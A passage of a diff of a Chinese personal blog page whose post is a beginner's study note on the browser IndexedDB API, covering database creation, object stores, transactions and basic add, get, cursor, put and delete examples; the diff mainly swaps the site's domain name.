var objdb;
datadb.onupgradeneeded = function(event) {
console.log(&#34;数据库升级&#34;);
db = event."><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://xiaochenabc123.github.io/posts/"},{"@type":"ListItem","position":2,"name":"IndexedDB浏览器数据库学习笔记","item":"https://xiaochenabc123.github.io/posts/5/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"IndexedDB浏览器数据库学习笔记","name":"IndexedDB浏览器数据库学习笔记","description":"IndexedDB是浏览器提供的本地数据库，允许存储数据，采用键值对存储，允许异步请求，允许索引请求，IndexedDB理论上存储空间没有限制\n打开（新建）indexedDB：\nindexedDB.open()，该方法有俩个值，第一个是数据库名（没有该数据库那么就新建），第二个值为数据库的版本，一般来说默认为1（必须是大于0的自然数），例如：\nvar datadb = window.indexedDB.open(\u0026quot;data\u0026quot;,1);\rdatadb.onerror = function(){\rconsole.log(\u0026quot;数据库打开失败\u0026quot;)\r}\rdatadb.onsuccess = function(){\rconsole.log(\u0026quot;数据库打开成功\u0026quot;);\r}\rdatadb.onupgradeneeded = function(event){ console.log(\u0026quot;数据库版本升级\u0026quot;);\r}\ronerror事件表示打开数据库失败\nonsuccess事件表示打开数据库成功\nonupgradeneeded事件表示数据库升级（当数据库版本低于指定的数据库版本）（另外，新建数据库，操作新的数据库也可以在该事件中处理）\n新建数据对象（数据表）\ndatadb.onupgradeneeded = function(event) {\rconsole.log(\u0026quot;数据库升级\u0026quot;);\rvar objdb = event.target.result.createObjectStore(\u0026quot;abc\u0026quot;,{keyPath: \u0026quot;id\u0026quot;});\r}\r表名为abc，主键为id，主键默认为索引\n判断是否存在该表\nif(!event.target.result.objectStoreNames.contains('abc')){\rvar objdb = event.target.result.createObjectStore(\u0026quot;abc\u0026quot;,{keyPath: \u0026quot;id\u0026quot;});\r}\r递增属性(可以用于作为主键)\nvar maindb = event.target.result.createObjectStore(\u0026quot;abc\u0026quot;,{autoIncrement: true});\r唯一属性\nobjdb.createIndex(\u0026quot;id\u0026quot;,\u0026quot;id\u0026quot;,{unique: false})\rcreateIndex()，三个参数分别是索引名称，索引的属性，配置对象，用来新建索引\n添加数据\nvar datadb = window.indexedDB.open(\u0026quot;data\u0026quot;,1);\rvar db;\rvar objdb;\rdatadb.onupgradeneeded = function(event) {\rconsole.log(\u0026quot;数据库升级\u0026quot;);\rdb = event.","keywords":["JavaScript"],"articleBody":"IndexedDB是浏览器提供的本地数据库，允许存储数据，采用键值对存储，允许异步请求，允许索引请求，IndexedDB理论上存储空间没有限制\n打开（新建）indexedDB：\nindexedDB.open()，该方法有俩个值，第一个是数据库名（没有该数据库那么就新建），第二个值为数据库的版本，一般来说默认为1（必须是大于0的自然数），例如：\nvar datadb = window.indexedDB.open(\"data\",1);\rdatadb.onerror = function(){\rconsole.log(\"数据库打开失败\")\r}\rdatadb.onsuccess = function(){\rconsole.log(\"数据库打开成功\");\r}\rdatadb.onupgradeneeded = function(event){ console.log(\"数据库版本升级\");\r}\ronerror事件表示打开数据库失败\nonsuccess事件表示打开数据库成功\nonupgradeneeded事件表示数据库升级（当数据库版本低于指定的数据库版本）（另外，新建数据库，操作新的数据库也可以在该事件中处理）\n新建数据对象（数据表）\ndatadb.onupgradeneeded = function(event) {\rconsole.log(\"数据库升级\");\rvar objdb = event.target.result.createObjectStore(\"abc\",{keyPath: \"id\"});\r}\r表名为abc，主键为id，主键默认为索引\n判断是否存在该表\nif(!event.target.result.objectStoreNames.contains('abc')){\rvar objdb = event.target.result.createObjectStore(\"abc\",{keyPath: \"id\"});\r}\r递增属性(可以用于作为主键)\nvar maindb = event.target.result.createObjectStore(\"abc\",{autoIncrement: true});\r唯一属性\nobjdb.createIndex(\"id\",\"id\",{unique: false})\rcreateIndex()，三个参数分别是索引名称，索引的属性，配置对象，用来新建索引\n添加数据\nvar datadb = window.indexedDB.open(\"data\",1);\rvar db;\rvar objdb;\rdatadb.onupgradeneeded = function(event) {\rconsole.log(\"数据库升级\");\rdb = event.target.result;\rconsole.log(db)\rif(!event.target.result.objectStoreNames.contains('abc')){\robjdb = event.target.result.createObjectStore(\"abc\",{keyPath: \"id\"});\r}\r}\rdatadb.onsuccess = function (event) {\rconsole.log(\"数据添加成功\");\rvar tp = event.target.result;\rvar transaction = tp.transaction(['abc'], 'readwrite');\rvar objadd = transaction.objectStore('abc');\robjadd.add({id: 1,name: 'a', email: \"a@xiaochenabc123.test.com\"});\r} 只要通过一个叫事务（transaction）来操作数据库，有两个参数，分别是要操作的数据对象，事务模式\n事务模式有三种：\nreadOnly：只读 readwrite：读写 versionchange：数据库版本变化\n不指定则默认为readOnly（只读）\n添加多条数据\nvar arrdata = [\r{id: 1,name: 'a', email: \"a@xiaochenabc123.test.com\"},\r{id: 2,name: 'b', email: \"b@xiaochenabc123.test.com\"},\r{id: 3,name: 'c', email: \"c@xiaochenabc123.test.com\"}\r];\rdatadb.onsuccess = function (event) {\rconsole.log(\"数据库添加成功\");\rvar tp = event.target.result;\rvar transaction = tp.transaction(['abc'], 'readwrite');\rvar objadd = transaction.objectStore('abc');\rfor(var i in arrdata){\robjadd.add(arrdata[i]);\r}\r} 读取数据\nvar datadb = window.indexedDB.open(\"data\",4); datadb.onsuccess = function (event) {\rconsole.log(\"数据库读取成功\");\rvar ab = event.target.result;\rvar transactiona = ab.transaction(['abc']);\rvar objectStorea = transactiona.objectStore('abc');\rvar datas = objectStorea.get(1); // objectStorea.get()方法的参数为主键的值\rdatas.onsuccess = function( event) {\rif (datas.result) {\rconsole.log('ID: ' + datas.result.id);\rconsole.log('Name: ' + datas.result.name);\rconsole.log('Email: ' + datas.result.email);\r}else {\rconsole.log('未读取到数据记录');\r}\r}; datas.onerror = function(event) {\rconsole.log('数据库读取成功');\r};\r}\r读取多条数据（遍历）\nvar datadb = window.indexedDB.open(\"data\",4); datadb.onsuccess = function(){\rvar db= event.target.result;\rdisplayData();\rfunction displayData() {\rvar transaction = db.transaction([\"abc\"], \"readonly\");\rvar objectStore = transaction.objectStore('abc');\robjectStore.openCursor().onsuccess = function(event) {\rvar datas = event.target.result;\rif(datas) {\rconsole.log(\"id:\"+datas.key);\rconsole.log(\"name:\"+datas.value.name);\rconsole.log(\"email:\"+datas.value.email)\rconsole.log(datas.value)\rdatas.continue();\r} }\r}\r更新数据\n和add()类似\ndatadb.onsuccess = function (event) {\rconsole.log(\"数据更新成功\");\rvar tp = event.target.result;\rvar transaction = tp.transaction(['abc'], 'readwrite');\rvar objadd = transaction.objectStore('abc');\robjadd.put({id: 1,name: 'hallo', email: \"abc@xiaochenabc123.test.com\"})\r} 删除数据\ndatadb.onsuccess = function (event) {\rconsole.log(\"数据更新成功\");\rvar tp = event.target.result;\rvar transaction = tp.transaction(['abc'], 'readwrite');\rvar objadd = transaction.objectStore('abc');\robjadd.delete(1);\rconsole.log('数据删除成功');\r} ","wordCount":"312","inLanguage":"en","datePublished":"2021-06-15T19:00:00Z","dateModified":"2021-06-15T19:00:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://xiaochenabc123.github.io/posts/5/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://xiaochenabc123.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/posts/>Posts</a></div><h1 class=post-title>IndexedDB浏览器数据库学习笔记</h1><div class=post-meta><span title='2021-06-15 19:00:00 +0000 UTC'>2021-06-15</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://xiaochenabc123.github.io//posts/IndexedDB%e6%b5%8f%e8%a7%88%e5%99%a8%e6%95%b0%e6%8d%ae%e5%ba%93%e5%ad%a6%e4%b9%a0%e7%ac%94%e8%ae%b0.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>IndexedDB是浏览器提供的本地数据库，允许存储数据，采用键值对存储，允许异步请求，允许索引请求，IndexedDB理论上存储空间没有限制</p><p>打开（新建）indexedDB：</p><p>indexedDB.open()，该方法有俩个值，第一个是数据库名（没有该数据库那么就新建），第二个值为数据库的版本，一般来说默认为1（必须是大于0的自然数），例如：</p><pre><code>var datadb = window.indexedDB.open(&quot;data&quot;,1);
-datadb.onerror = function(){
-    console.log(&quot;数据库打开失败&quot;)
-}
-datadb.onsuccess = function(){
-    console.log(&quot;数据库打开成功&quot;);
-}
-datadb.onupgradeneeded = function(event){ 
-    console.log(&quot;数据库版本升级&quot;);
-}
-</code></pre><p>onerror事件表示打开数据库失败</p><p>onsuccess事件表示打开数据库成功</p><p>onupgradeneeded事件表示数据库升级（当数据库版本低于指定的数据库版本）（另外，新建数据库，操作新的数据库也可以在该事件中处理）</p><p>新建数据对象（数据表）</p><pre><code>datadb.onupgradeneeded = function(event) {
-    console.log(&quot;数据库升级&quot;);
-    var objdb = event.target.result.createObjectStore(&quot;abc&quot;,{keyPath: &quot;id&quot;});
-}
-</code></pre><p>表名为abc，主键为id，主键默认为索引</p><p>判断是否存在该表</p><pre><code>if(!event.target.result.objectStoreNames.contains('abc')){
-    var objdb = event.target.result.createObjectStore(&quot;abc&quot;,{keyPath: &quot;id&quot;});
-}
-</code></pre><p>递增属性(可以用于作为主键)</p><pre><code>var maindb = event.target.result.createObjectStore(&quot;abc&quot;,{autoIncrement: true});
-</code></pre><p>唯一属性</p><pre><code>objdb.createIndex(&quot;id&quot;,&quot;id&quot;,{unique: false})
-</code></pre><p>createIndex()，三个参数分别是索引名称，索引的属性，配置对象，用来新建索引</p><p>添加数据</p><pre><code>var datadb = window.indexedDB.open(&quot;data&quot;,1);
-var db;
-var objdb;
-datadb.onupgradeneeded = function(event) {
-    console.log(&quot;数据库升级&quot;);
-    db = event.target.result;
-    console.log(db)
-    
-    if(!event.target.result.objectStoreNames.contains('abc')){
-        objdb = event.target.result.createObjectStore(&quot;abc&quot;,{keyPath: &quot;id&quot;});
-    }
-}
-datadb.onsuccess = function (event) {
-    console.log(&quot;数据添加成功&quot;);
-    var tp = event.target.result;
-    var transaction = tp.transaction(['abc'], 'readwrite');
-    var objadd = transaction.objectStore('abc');
-    objadd.add({id: 1,name: 'a', email: &quot;a@xiaochenabc123.test.com&quot;});
-}   
+var datadb = window.indexedDB.open(&#34;data&#34;,1); var db; var objdb; datadb.onupgradeneeded = function(event) { console.log(&#34;数据库升级&#34;); db = event."><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://chenjunlinabc.github.io/posts/"},{"@type":"ListItem","position":2,"name":"IndexedDB浏览器数据库学习笔记","item":"https://chenjunlinabc.github.io/posts/5/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"IndexedDB浏览器数据库学习笔记","name":"IndexedDB浏览器数据库学习笔记","description":"IndexedDB是浏览器提供的本地数据库，允许存储数据，采用键值对存储，允许异步请求，允许索引请求，IndexedDB理论上存储空间没有限制\n打开（新建）indexedDB：\nindexedDB.open()，该方法有俩个值，第一个是数据库名（没有该数据库那么就新建），第二个值为数据库的版本，一般来说默认为1（必须是大于0的自然数），例如：\nvar datadb = window.indexedDB.open(\u0026quot;data\u0026quot;,1); datadb.onerror = function(){ console.log(\u0026quot;数据库打开失败\u0026quot;) } datadb.onsuccess = function(){ console.log(\u0026quot;数据库打开成功\u0026quot;); } datadb.onupgradeneeded = function(event){ console.log(\u0026quot;数据库版本升级\u0026quot;); } onerror事件表示打开数据库失败\nonsuccess事件表示打开数据库成功\nonupgradeneeded事件表示数据库升级（当数据库版本低于指定的数据库版本）（另外，新建数据库，操作新的数据库也可以在该事件中处理）\n新建数据对象（数据表）\ndatadb.onupgradeneeded = function(event) { console.log(\u0026quot;数据库升级\u0026quot;); var objdb = event.target.result.createObjectStore(\u0026quot;abc\u0026quot;,{keyPath: \u0026quot;id\u0026quot;}); } 表名为abc，主键为id，主键默认为索引\n判断是否存在该表\nif(!event.target.result.objectStoreNames.contains('abc')){ var objdb = event.target.result.createObjectStore(\u0026quot;abc\u0026quot;,{keyPath: \u0026quot;id\u0026quot;}); } 递增属性(可以用于作为主键)\nvar maindb = event.target.result.createObjectStore(\u0026quot;abc\u0026quot;,{autoIncrement: true}); 唯一属性\nobjdb.createIndex(\u0026quot;id\u0026quot;,\u0026quot;id\u0026quot;,{unique: false}) createIndex()，三个参数分别是索引名称，索引的属性，配置对象，用来新建索引\n添加数据\nvar datadb = window.indexedDB.open(\u0026quot;data\u0026quot;,1); var db; var objdb; datadb.onupgradeneeded = function(event) { console.log(\u0026quot;数据库升级\u0026quot;); db = event.","keywords":["JavaScript"],"articleBody":"IndexedDB是浏览器提供的本地数据库，允许存储数据，采用键值对存储，允许异步请求，允许索引请求，IndexedDB理论上存储空间没有限制\n打开（新建）indexedDB：\nindexedDB.open()，该方法有俩个值，第一个是数据库名（没有该数据库那么就新建），第二个值为数据库的版本，一般来说默认为1（必须是大于0的自然数），例如：\nvar datadb = window.indexedDB.open(\"data\",1); datadb.onerror = function(){ console.log(\"数据库打开失败\") } datadb.onsuccess = function(){ console.log(\"数据库打开成功\"); } datadb.onupgradeneeded = function(event){ console.log(\"数据库版本升级\"); } onerror事件表示打开数据库失败\nonsuccess事件表示打开数据库成功\nonupgradeneeded事件表示数据库升级（当数据库版本低于指定的数据库版本）（另外，新建数据库，操作新的数据库也可以在该事件中处理）\n新建数据对象（数据表）\ndatadb.onupgradeneeded = function(event) { console.log(\"数据库升级\"); var objdb = event.target.result.createObjectStore(\"abc\",{keyPath: \"id\"}); } 表名为abc，主键为id，主键默认为索引\n判断是否存在该表\nif(!event.target.result.objectStoreNames.contains('abc')){ var objdb = event.target.result.createObjectStore(\"abc\",{keyPath: \"id\"}); } 递增属性(可以用于作为主键)\nvar maindb = event.target.result.createObjectStore(\"abc\",{autoIncrement: true}); 唯一属性\nobjdb.createIndex(\"id\",\"id\",{unique: false}) createIndex()，三个参数分别是索引名称，索引的属性，配置对象，用来新建索引\n添加数据\nvar datadb = window.indexedDB.open(\"data\",1); var db; var objdb; datadb.onupgradeneeded = function(event) { console.log(\"数据库升级\"); db = event.target.result; console.log(db) if(!event.target.result.objectStoreNames.contains('abc')){ objdb = event.target.result.createObjectStore(\"abc\",{keyPath: \"id\"}); } } datadb.onsuccess = function (event) { console.log(\"数据添加成功\"); var tp = event.target.result; var transaction = tp.transaction(['abc'], 'readwrite'); var objadd = transaction.objectStore('abc'); objadd.add({id: 1,name: 'a', email: \"a@xiaochenabc123.test.com\"}); } 只要通过一个叫事务（transaction）来操作数据库，有两个参数，分别是要操作的数据对象，事务模式\n事务模式有三种：\nreadOnly：只读 readwrite：读写 versionchange：数据库版本变化\n不指定则默认为readOnly（只读）\n添加多条数据\nvar arrdata = [ {id: 1,name: 'a', email: \"a@xiaochenabc123.test.com\"}, {id: 2,name: 'b', email: \"b@xiaochenabc123.test.com\"}, {id: 3,name: 'c', email: \"c@xiaochenabc123.test.com\"} ]; datadb.onsuccess = function (event) { console.log(\"数据库添加成功\"); var tp = event.target.result; var transaction = tp.transaction(['abc'], 'readwrite'); var objadd = transaction.objectStore('abc'); for(var i in arrdata){ objadd.add(arrdata[i]); } } 读取数据\nvar datadb = window.indexedDB.open(\"data\",4); datadb.onsuccess = function (event) { console.log(\"数据库读取成功\"); var ab = event.target.result; var transactiona = ab.transaction(['abc']); var objectStorea = transactiona.objectStore('abc'); var datas = objectStorea.get(1); // objectStorea.get()方法的参数为主键的值 datas.onsuccess = function( event) { if (datas.result) { console.log('ID: ' + datas.result.id); console.log('Name: ' + datas.result.name); console.log('Email: ' + datas.result.email); }else { console.log('未读取到数据记录'); } }; datas.onerror = function(event) { console.log('数据库读取成功'); }; } 读取多条数据（遍历）\nvar datadb = window.indexedDB.open(\"data\",4); datadb.onsuccess = function(){ var db= event.target.result; displayData(); function displayData() { var transaction = db.transaction([\"abc\"], \"readonly\"); var objectStore = transaction.objectStore('abc'); objectStore.openCursor().onsuccess = function(event) { var datas = event.target.result; if(datas) { console.log(\"id:\"+datas.key); console.log(\"name:\"+datas.value.name); console.log(\"email:\"+datas.value.email) console.log(datas.value) datas.continue(); } } } 更新数据\n和add()类似\ndatadb.onsuccess = function (event) { console.log(\"数据更新成功\"); var tp = event.target.result; var transaction = tp.transaction(['abc'], 'readwrite'); var objadd = transaction.objectStore('abc'); objadd.put({id: 1,name: 'hallo', email: \"abc@xiaochenabc123.test.com\"}) } 删除数据\ndatadb.onsuccess = function (event) { console.log(\"数据更新成功\"); var tp = event.target.result; var transaction = tp.transaction(['abc'], 'readwrite'); var objadd = transaction.objectStore('abc'); objadd.delete(1); console.log('数据删除成功'); } ","wordCount":"312","inLanguage":"en","datePublished":"2021-06-15T19:00:00Z","dateModified":"2021-06-15T19:00:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://chenjunlinabc.github.io/posts/5/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://chenjunlinabc.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/posts/>Posts</a></div><h1 class=post-title>IndexedDB浏览器数据库学习笔记</h1><div class=post-meta><span title='2021-06-15 19:00:00 +0000 UTC'>2021-06-15</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://chenjunlinabc.github.io//posts/IndexedDB%e6%b5%8f%e8%a7%88%e5%99%a8%e6%95%b0%e6%8d%ae%e5%ba%93%e5%ad%a6%e4%b9%a0%e7%ac%94%e8%ae%b0.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>IndexedDB是浏览器提供的本地数据库，允许存储数据，采用键值对存储，允许异步请求，允许索引请求，IndexedDB理论上存储空间没有限制</p><p>打开（新建）indexedDB：</p><p>indexedDB.open()，该方法有俩个值，第一个是数据库名（没有该数据库那么就新建），第二个值为数据库的版本，一般来说默认为1（必须是大于0的自然数），例如：</p><pre><code>var datadb = window.indexedDB.open(&quot;data&quot;,1);
+datadb.onerror = function(){
+    console.log(&quot;数据库打开失败&quot;)
+}
+datadb.onsuccess = function(){
+    console.log(&quot;数据库打开成功&quot;);
+}
+datadb.onupgradeneeded = function(event){ 
+    console.log(&quot;数据库版本升级&quot;);
+}
+</code></pre><p>onerror事件表示打开数据库失败</p><p>onsuccess事件表示打开数据库成功</p><p>onupgradeneeded事件表示数据库升级（当数据库版本低于指定的数据库版本）（另外，新建数据库，操作新的数据库也可以在该事件中处理）</p><p>新建数据对象（数据表）</p><pre><code>datadb.onupgradeneeded = function(event) {
+    console.log(&quot;数据库升级&quot;);
+    var objdb = event.target.result.createObjectStore(&quot;abc&quot;,{keyPath: &quot;id&quot;});
+}
+</code></pre><p>表名为abc，主键为id，主键默认为索引</p><p>判断是否存在该表</p><pre><code>if(!event.target.result.objectStoreNames.contains('abc')){
+    var objdb = event.target.result.createObjectStore(&quot;abc&quot;,{keyPath: &quot;id&quot;});
+}
+</code></pre><p>递增属性(可以用于作为主键)</p><pre><code>var maindb = event.target.result.createObjectStore(&quot;abc&quot;,{autoIncrement: true});
+</code></pre><p>唯一属性</p><pre><code>objdb.createIndex(&quot;id&quot;,&quot;id&quot;,{unique: false})
+</code></pre><p>createIndex()，三个参数分别是索引名称，索引的属性，配置对象，用来新建索引</p><p>添加数据</p><pre><code>var datadb = window.indexedDB.open(&quot;data&quot;,1);
+var db;
+var objdb;
+datadb.onupgradeneeded = function(event) {
+    console.log(&quot;数据库升级&quot;);
+    db = event.target.result;
+    console.log(db)
+    
+    if(!event.target.result.objectStoreNames.contains('abc')){
+        objdb = event.target.result.createObjectStore(&quot;abc&quot;,{keyPath: &quot;id&quot;});
+    }
+}
+datadb.onsuccess = function (event) {
+    console.log(&quot;数据添加成功&quot;);
+    var tp = event.target.result;
+    var transaction = tp.transaction(['abc'], 'readwrite');
+    var objadd = transaction.objectStore('abc');
+    objadd.add({id: 1,name: 'a', email: &quot;a@xiaochenabc123.test.com&quot;});
+}   
 </code></pre><p>只要通过一个叫事务（transaction）来操作数据库，有两个参数，分别是要操作的数据对象，事务模式</p><p>事务模式有三种：</p><p>readOnly：只读
 readwrite：读写
-versionchange：数据库版本变化</p><p>不指定则默认为readOnly（只读）</p><p>添加多条数据</p><pre><code>var arrdata = [
-    {id: 1,name: 'a', email: &quot;a@xiaochenabc123.test.com&quot;},
-    {id: 2,name: 'b', email: &quot;b@xiaochenabc123.test.com&quot;},
-    {id: 3,name: 'c', email: &quot;c@xiaochenabc123.test.com&quot;}
-];
-datadb.onsuccess = function (event) {
-    console.log(&quot;数据库添加成功&quot;);
-    var tp = event.target.result;
-    var transaction = tp.transaction(['abc'], 'readwrite');
-    var objadd = transaction.objectStore('abc');
-    for(var i in arrdata){
-        objadd.add(arrdata[i]);
-    }
-}   
-</code></pre><p>读取数据</p><pre><code>var datadb = window.indexedDB.open(&quot;data&quot;,4);   
-
-datadb.onsuccess = function (event) {
-    console.log(&quot;数据库读取成功&quot;);
-    var ab = event.target.result;
-    var transactiona = ab.transaction(['abc']);
-    var objectStorea = transactiona.objectStore('abc');
-    var datas = objectStorea.get(1); // objectStorea.get()方法的参数为主键的值
-    datas.onsuccess = function( event) {
-        if (datas.result) {
-        console.log('ID: ' + datas.result.id);
-        console.log('Name: ' + datas.result.name);
-        console.log('Email: ' + datas.result.email);
-       }else {
-        console.log('未读取到数据记录');
-       }
-    };  
-    datas.onerror = function(event) {
-      console.log('数据库读取成功');
-    };
-}
-</code></pre><p>读取多条数据（遍历）</p><pre><code>var datadb = window.indexedDB.open(&quot;data&quot;,4);   
-datadb.onsuccess = function(){
-    var db= event.target.result;
-    displayData();
-    function displayData() {
-        var transaction = db.transaction([&quot;abc&quot;], &quot;readonly&quot;);
-        var objectStore = transaction.objectStore('abc');
-        objectStore.openCursor().onsuccess = function(event) {
-        var datas = event.target.result;
-        if(datas) {
-           console.log(&quot;id:&quot;+datas.key);
-           console.log(&quot;name:&quot;+datas.value.name);
-           console.log(&quot;email:&quot;+datas.value.email)
-           console.log(datas.value)
-           datas.continue();
-           
-        } 
-    }
-}
-</code></pre><p>更新数据</p><p>和add()类似</p><pre><code>datadb.onsuccess = function (event) {
-    console.log(&quot;数据更新成功&quot;);
-    var tp = event.target.result;
-    var transaction = tp.transaction(['abc'], 'readwrite');
-    var objadd = transaction.objectStore('abc');
-    objadd.put({id: 1,name: 'hallo', email: &quot;abc@xiaochenabc123.test.com&quot;})
-}   
-</code></pre><p>删除数据</p><pre><code>datadb.onsuccess = function (event) {
-    console.log(&quot;数据更新成功&quot;);
-    var tp = event.target.result;
-    var transaction = tp.transaction(['abc'], 'readwrite');
-    var objadd = transaction.objectStore('abc');
-    objadd.delete(1);
-    console.log('数据删除成功');
-}   </code></pre></div><footer class=post-footer><ul class=post-tags><li><a href=https://xiaochenabc123.github.io/tags/javascript/>JavaScript</a></li></ul><nav class=paginav><a class=prev href=https://xiaochenabc123.github.io/posts/6/><span class=title>« Prev</span><br><span>简单解决文本溢出问题</span></a>
-<a class=next href=https://xiaochenabc123.github.io/posts/3/><span class=title>Next »</span><br><span>简单使用Vim编辑器</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+versionchange：数据库版本变化</p><p>不指定则默认为readOnly（只读）</p><p>添加多条数据</p><pre><code>var arrdata = [
+    {id: 1,name: 'a', email: &quot;a@xiaochenabc123.test.com&quot;},
+    {id: 2,name: 'b', email: &quot;b@xiaochenabc123.test.com&quot;},
+    {id: 3,name: 'c', email: &quot;c@xiaochenabc123.test.com&quot;}
+];
+datadb.onsuccess = function (event) {
+    console.log(&quot;数据库添加成功&quot;);
+    var tp = event.target.result;
+    var transaction = tp.transaction(['abc'], 'readwrite');
+    var objadd = transaction.objectStore('abc');
+    for(var i in arrdata){
+        objadd.add(arrdata[i]);
+    }
+}   
+</code></pre><p>读取数据</p><pre><code>var datadb = window.indexedDB.open(&quot;data&quot;,4);   
+
+datadb.onsuccess = function (event) {
+    console.log(&quot;数据库读取成功&quot;);
+    var ab = event.target.result;
+    var transactiona = ab.transaction(['abc']);
+    var objectStorea = transactiona.objectStore('abc');
+    var datas = objectStorea.get(1); // objectStorea.get()方法的参数为主键的值
+    datas.onsuccess = function( event) {
+        if (datas.result) {
+        console.log('ID: ' + datas.result.id);
+        console.log('Name: ' + datas.result.name);
+        console.log('Email: ' + datas.result.email);
+       }else {
+        console.log('未读取到数据记录');
+       }
+    };  
+    datas.onerror = function(event) {
+      console.log('数据库读取成功');
+    };
+}
+</code></pre><p>读取多条数据（遍历）</p><pre><code>var datadb = window.indexedDB.open(&quot;data&quot;,4);   
+datadb.onsuccess = function(){
+    var db= event.target.result;
+    displayData();
+    function displayData() {
+        var transaction = db.transaction([&quot;abc&quot;], &quot;readonly&quot;);
+        var objectStore = transaction.objectStore('abc');
+        objectStore.openCursor().onsuccess = function(event) {
+        var datas = event.target.result;
+        if(datas) {
+           console.log(&quot;id:&quot;+datas.key);
+           console.log(&quot;name:&quot;+datas.value.name);
+           console.log(&quot;email:&quot;+datas.value.email)
+           console.log(datas.value)
+           datas.continue();
